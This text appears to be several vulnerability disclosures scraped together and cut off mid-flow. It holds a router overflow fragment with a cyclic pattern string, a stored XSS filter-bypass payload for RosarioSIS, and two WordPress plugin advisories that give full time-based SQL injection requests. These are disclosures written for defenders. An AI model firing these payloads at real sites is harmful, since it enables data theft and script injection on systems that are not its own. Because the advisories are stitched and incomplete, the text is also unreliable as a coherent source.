adlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
    

Figure 2 POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

CVE-2022-30912: IOT_vuln/H3C/magicR100/4 at main · EPhaha/IOT_vuln

Cross-site Scripting (XSS) - Stored in GitHub repository francoisjacquet/rosariosis prior to 9.0.

**Description**

Website does incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. This fix for this bug https://huntr.dev/bounties/dcf87c0b-6188-4817-8798-ef1e2581b15a/ can be bypassed using bellow payload

    jAvAsCrIpT:alert(origin)
    

**Steps to reproduce \[it works on Firefox (not in chromium based browsers)\]**

1.Go to https://www.rosariosis.org/demonstration/ and login with administrator account

2.Go to https://www.rosariosis.org/demonstration/Modules.php?modname=Resources/Resources.php

3.Create new link with content jAvAsCrIpT:alert(origin)

4.Click the link and observe a pop up

**Image POC**

https://drive.google.com/file/d/11F1mjqytYIgmMVtOEC4EbOHhvVi0pEPh/view?usp=sharing

https://drive.google.com/file/d/1dGPRWE6KRf2bfOezRblbWtHAwM1P29iL/view?usp=sharing

**Impact**

User clicking the link can be affected by malicious javascript code created by the attacker.

CVE-2022-1997: Bypass filter - Stored XSS in Resources  in rosariosis

The Five Minute Webshop WordPress plugin through 1.3.2 does not sanitise and escape the id parameter before using it in a SQL statement when editing a product via the admin dashboard, leading to an SQL Injection

**(2/2) five-minute-webshop 1.3.2 WordPress plugin SQL injection****Vulnerability Metadata**

Key

Value

Date of Disclosure

May 09 2022

Affected Software

five-minute-webshop

Affected Software Type

WordPress plugin

Version

1.3.2

Weakness

SQL Injection

CWE ID

CWE-89

CVE ID

CVE-2022-1686

CVSS 3.x Base Score

x

CVSS 2.0 Base Score

x

Reporter

Daniel Krohmer, Shi Chen

Reporter Contact

daniel.krohmer@iese.fraunhofer.de

Link to Affected Software

https://wordpress.org/plugins/five-minute-webshop

Link to Vulnerability DB

https://nvd.nist.gov/vuln/detail/CVE-2022-1686

**Vulnerability Description**

The id query parameter in five-minute-webshop 1.3.2 is vulnerable to SQL injection. An authenticated attacker may abuse the Edit functionality of the plugin to craft a malicious GET request.

**Exploitation Guide**

This exploit requires an added product. For demonstration and evaluation purposes, this is done by calling a database query within the wordpress database: INSERT INTO fmwes_products VALUES (1, "test", "test", 50, 50, 0);.

Login as admin user. This attack requires at least admin privileges.

Go to Five Minute Webshop and then hit Manage products.

Choose the previously created product and click on Edit.

Clicking the previous button triggers the vulnerable request. id is the vulnerable query parameter.

A POC may look like the following request:

In the code, the vulnerability is triggered by unsanitized user input of id at line 8 in ./includes/pages/edit_product.php. The final database query is called at line 10. 

**Exploit Payload**

**Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.** The SQL injection can be triggered by sending the request below.

    GET /wp-admin/admin.php?page=fmwes_edit_product&id=1+AND+(SELECT+6037+FROM+(SELECT(SLEEP(5)))Uiuu) HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://localhost/wp-admin/admin.php?page=fmwes_products
    DNT: 1
    Connection: close
    Cookie: wordpress_86a9106ae65537651a8e456835b316ab=admin%7C1651742457%7CNFH9oxgPdUB0I5vQ0G9JsYZRz7fPrB6cCYyat4sPQUG%7C6af9672ff631b297870bbf4570e0d0bbb4e2fb79eb23af6720e85e7816ec4168;  PHPSESSID=ggbg3ps61166g6trc1gqkkj2cf; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1651742457%7CNFH9oxgPdUB0I5vQ0G9JsYZRz7fPrB6cCYyat4sPQUG%7Ce10b7e0de3a21c7ef652093e7f79ad29b7601994cdd120ec083ded4b636f3ba8; wp-settings-1=editor%3Dtinymce%26amplibraryContent%3Dbrowse%26wd_ads_manage_groups_tab%3Dpop; wp-settings-time-1=1651569658
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1

CVE-2022-1686: Security Bulletin

The CP Image Store with Slideshow WordPress plugin before 1.0.68 does not sanitise and escape the ordering_by query parameter before using it in a SQL statement in pages where the [codepeople-image-store] is embed, allowing unauthenticated users to perform an SQL injection attack

**cp-image-store 1.0.67 WordPress plugin SQL injection****Vulnerability Metadata**

Key

Value

Date of Disclosure

May 09 2022

Affected Software

cp-image-store

Affected Software Type

WordPress plugin

Version

1.0.67

Weakness

SQL Injection

CWE ID

CWE-89

CVE ID

CVE-2022-1692

CVSS 3.x Base Score

x

CVSS 2.0 Base Score

x

Reporter

Daniel Krohmer, Shi Chen

Reporter Contact

daniel.krohmer@iese.fraunhofer.de

Link to Affected Software

https://wordpress.org/plugins/cp-image-store

Link to Vulnerability DB

https://nvd.nist.gov/vuln/detail/CVE-2022-1692

**Vulnerability Description**

The ordering_by query parameter in cp-image-store 1.0.67 is vulnerable to unauthenticated SQL injection. When the plugin is installed and a shortcode is placed on the blog, the respective page can be abused. An unauthenticated attacker may abuse an embedded [codepeople-image-store] shortcode and trigger the vulnerability by simply calling the blog post page with an additional malformed ordering_by query parameter.

**Exploitation Guide**

Login as admin user. Before we can launch the attack, we need to publish a post containing the affected shortcode.

Go to Image Store and click on Add New to create a new post.

Add the affected shortcode [codepeople-image-store] and hit Publish.

Use the generated permalink to access the blog post containing the shortcode.

Visit the blog post page. No authentication is required while doing this.

Clicking the previous button triggers the vulnerable request. However, it needs to be slightly modified by adding ordering_by, which is the vulnerable query parameter.

A POC may look like the following request:

Ensure that the assigned value of ordering_by is a valid member of the wp_posts table. Valid members are shown below:

In the code, the vulnerability is triggered by unsanitized user input of ordering_by at line 2420 in ./cp-image-store.php.

Finally, the database call ultimately leading to SQL injection can be found at line 2467 in ./cp-image-store.php.

**Exploit Payload**

The SQL injection can be triggered by sending the request below.

    GET /?cpis_image=379&ordering_by=post_author+and+sleep(5) HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1

Tag

#firefox